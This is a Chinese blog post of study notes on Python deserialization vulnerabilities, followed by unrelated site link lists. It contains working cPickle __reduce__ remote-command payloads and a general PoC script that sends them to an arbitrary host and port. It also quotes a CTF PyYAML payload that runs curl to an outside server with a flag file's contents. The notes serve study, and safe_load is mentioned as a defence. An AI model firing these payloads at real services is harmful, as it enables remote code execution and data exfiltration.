零、补充:

补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。

测试代码:

  1. #client.py
  2. import os
  3. import sys
  4. import base64
  5. import socket
  6. import cPickle
  7.  
  8. #定义payload类型
  9. class payload(object):
  10. def __init__(self,command):
  11. self.__command = command
  12. def __reduce__(self):
  13. return (os.system,((self.__command),))
  14.  
  15. #定义全局socket对象
  16. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  17.  
  18. #定义主函数,生成payload对象
  19. if __name__ == "__main__":
  20. #cmd = sys.argv[1]
  21. #rip = sys.argv[2]
  22. #pot = sys.argv[3]
  23. cmd = "whoami"
  24. rip = "127.0.0.1"
  25. pot = 5222
  26. payload_object = payload(cmd)
  27. send_object = cPickle.dumps(payload_object)
  28. sock.connect((rip,int(pot)))
  29. send_object = base64.b64encode(send_object)
  30. sock.send(send_object)
  31.  
  32. #server.py
  33. # -*- coding:utf-8 -*-
  34. import socket
  35. import os
  36. import cPickle
  37. import base64
  38.  
  39. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  40. sock.bind(("127.0.0.1",5222))
  41. sock.listen(5)
  42. con,addr = sock.accept()
  43. ret = con.recv(1024)
  44. ret = base64.b64decode(ret)
  45. m = cPickle.loads(ret)

果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。

一、python的反序列化漏洞:

一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:

举例说明:

  client传送一个类对象序列化过去给server,server反序列化这个类对象。

client.py

  1. #serail.py
  2. # -*- coding:utf-8 -*-
  3. import os
  4. import socket
  5. import cPickle
  6.  
  7. class Vuln(object):
  8. name = 1
  9. def __reduce__(self):
  10. return (os.system,(('id'),))
  11.  
  12. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  13. sock.connect(("127.0.0.1",5222))
  14. m = Vuln()
  15. ret = cPickle.dumps(m)
  16. sock.send(ret)
  17. sock.close()

server.py

  1. #server.py
  2. # -*- coding:utf-8 -*-
  3. import socket
  4. import os
  5. import cPickle
  6.  
  7. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  8. sock.bind(("127.0.0.1",5222))
  9. sock.listen(5)
  10. con,addr = sock.accept()
  11. ret = con.recv(1024)
  12. m = cPickle.loads(ret)

测试效果:

类似于cPickle和pickle的这种适合打一些TCP连接的:

这里写一个脚本作为一般poc

  1. # -*- coding:utf-8 -*-
  2. """
  3. 这个脚本用来生成payload,并进行打击
  4. 作者:陈然
  5. 公司:360企业安全
  6. """
  7. #引入依赖包文件
  8. import os
  9. import sys
  10. import socket
  11. import cPickle
  12.  
  13. #定义payload类型
  14. class payload(object):
  15. def __init__(self,command):
  16. self.__command = command
  17. def __reduce__(self):
  18. return (os.system,((self.__command),))
  19.  
  20. #定义全局socket对象
  21. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  22.  
  23. #定义主函数,生成payload对象
  24. if __name__ == "__main__":
  25. cmd = sys.argv[1]
  26. rip = sys.argv[2]
  27. pot = sys.argv[3]
  28. payload_object = payload(cmd)
  29. send_object = cPickle.dumps(payload_object)
  30. sock.connect((rip,int(pot)))
  31. sock.send(send_object)

二、HTTP中的python反序列化漏洞--PyYAML

1、这里要注意,对站点相关开发有要求:

(1)使用PyYAML这个库

(2)使用了yaml.load函数而不是yaml.safe_load函数

2、好了,来看函数吧:

(1):

我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!

(2)这个tag的解析在yaml库的constructor.py文件中:

然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:

跳转过去看下,这个地方有cls函数

而这里的cls函数取自find_python_name这个函数的返回值:

这个函数返回值是getattr的返回值

我们来做一个实验:

  1. import os
  2.  
  3. class A(object):
  4. name = 1
  5. def __reduce__(self):
  6. os.system("whoami")
  7.  
  8. a = A()
  9. func = getattr(a,"__reduce__")
  10. print "func:",func
  11. func()

实验结果:

这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。

3、攻击场景:

这种场景有可能在HTTP协议中见到:

看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800

  1. '''
  2. POST / HTTP/1.1
  3. Host: ganon.39586ebba722e94b.ctf.land:8001
  4. User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6. Accept-Language: en-US,en;q=0.5
  7. Accept-Encoding: gzip, deflate
  8. DNT: 1
  9. Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
  10. Connection: close
  11. Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
  12. Content-Length: 438
  13.  
  14. -----------------------------200783363553063815533894329
  15. Content-Disposition: form-data; name="file"; filename="test.yaml"
  16. Content-Type: application/x-yaml
  17.  
  18. ---
  19. "goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
  20.  
  21. -----------------------------200783363553063815533894329
  22. Content-Disposition: form-data; name="upload"
  23.  
  24. -----------------------------200783363553063815533894329--
  25.  
  26. </div>
  27.  
  28. <div class="container main" >
  29. <div>
  30. <div class="col-md-12 main">
  31.  
  32. <ul><li><code>goodbye</code> : <code>0</code></li></ul>
  33.  
  34. </div>
  35. </div>
  36. </div>
  37. '''

很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。

python反序列化研究学习的更多相关文章

  1. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  2. 基于python的opcode优化和模块按需加载机制研究(学习与个人思路)(原创)

    基于python的opcode优化和模块按需加载机制研究(学习与思考) 姓名:XXX 学校信息:XXX 主用编程语言:python3.5 个人技术博客:http://www.cnblogs.com/M ...

  3. 从Theano到Lasagne:基于Python的深度学习的框架和库

    从Theano到Lasagne:基于Python的深度学习的框架和库 摘要:最近,深度神经网络以“Deep Dreams”形式在网站中如雨后春笋般出现,或是像谷歌研究原创论文中描述的那样:Incept ...

  4. Python语言程序设计学习 之 了解Python

    Python简介 Python是一种面向对象的解释型计算机程序设计语言,由荷兰人Guido van Rossum于1989年发明,第一个公开发行版发行于1991年. Python是纯粹的自由软件,源代 ...

  5. Python 应用领域及学习重点

    笔者认为不管学习什么编程语言,首先要知道:学完之后在未来能做些什么? 本文将浅谈 Python 的应用领域及其在对应领域的学习重点.也仅是介绍了 Python 应用领域的"冰山一角" ...

  6. 一个Python爬虫工程师学习养成记

    大数据的时代,网络爬虫已经成为了获取数据的一个重要手段. 但要学习好爬虫并没有那么简单.首先知识点和方向实在是太多了,它关系到了计算机网络.编程基础.前端开发.后端开发.App 开发与逆向.网络安全. ...

  7. PyQt(Python+Qt)学习随笔:富文本编辑器QTextEdit功能详解

    专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 一.概述 QTextEdit是一个高级的所见即所得的文档查看器和编辑器 ...

  8. PyQt(Python+Qt)学习随笔:QTableWidget表格部件中行高和列宽的计算方式

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 QTableWidget表格部件中行高和列宽的计算在Qt提供的资料中内容介绍比较泛,细节说得不清楚, ...

  9. 第15.16节 PyQt(Python+Qt)入门学习:PyQt中的信号(signal)和槽(slot)机制以及Designer中的使用

    老猿Python博文目录 老猿Python博客地址 一.引言 前面一些章节其实已经在使用信号和槽了,但是作为Qt中最重要的机制也是Qt区别与其他开发平台的重要核心特性,还是非常有必要单独介绍. 二.信 ...

随机推荐

  1. VC++编写ActiveX控件

    ActiveX这门技术是通过生成“*.ocx”文件来实现的.先来了解下OCX文件,在百度百科上面对OCX是这样解释的:“.ocx是ocx控件的扩展名,OCX 是对象类别扩充组件.如果你用过Visual ...

  2. php 实现打印预览的功能

    <inputid="btnPrint" type="button" value="打印"onclick="javascrip ...

  3. POJ 2677 旅行商问题 双调dp或者费用流

    Tour Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 3408   Accepted: 1513 Description ...

  4. C# “预先生成事件命令行”和“后期生成事件命令行”

    概述 Visual studio 项目允许在项目属性生成事件一栏中指定预先生成和后期生成事件来实现项目生成与部署的自动化. 实例1: 我自己写了一个调试工具,该工具处于一边开发一边使用过程中.实际工作 ...

  5. obj 格式注意事项

    用Adreno Profiler分析图形效果的实现过程时,需要将特效涉及到的模型导出,以便进行多角度的详细查看,结果发现Adreno Profiler导出模型的功能有bug,总是报错并生成一个残缺的. ...

  6. Android 利用fastjson进行json解析

    package com.example.FastJson.util; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.Typ ...

  7. UVA - 1218 Perfect Service(树形dp)

    题目链接:id=36043">UVA - 1218 Perfect Service 题意 有n台电脑.互相以无根树的方式连接,现要将当中一部分电脑作为server,且要求每台电脑必须连 ...

  8. CXAnimation类

    #include "XAnimation.h" CXAnimation::CXAnimation(void) { m_strName = ""; m_nFram ...

  9. Composer fails to download http json files on "update", not a network issue, https fine

    "repositories": [ { "packagist": false }, { "type": "composer&quo ...

  10. js基本知识6

    1.2 复习 1. 节点 网页是有很多的节点组成的 . 元素节点 指的是 : 标签 li span 文本节点 属性节点 父子兄弟 父 parentNode nextSibling 孩子 childNo ...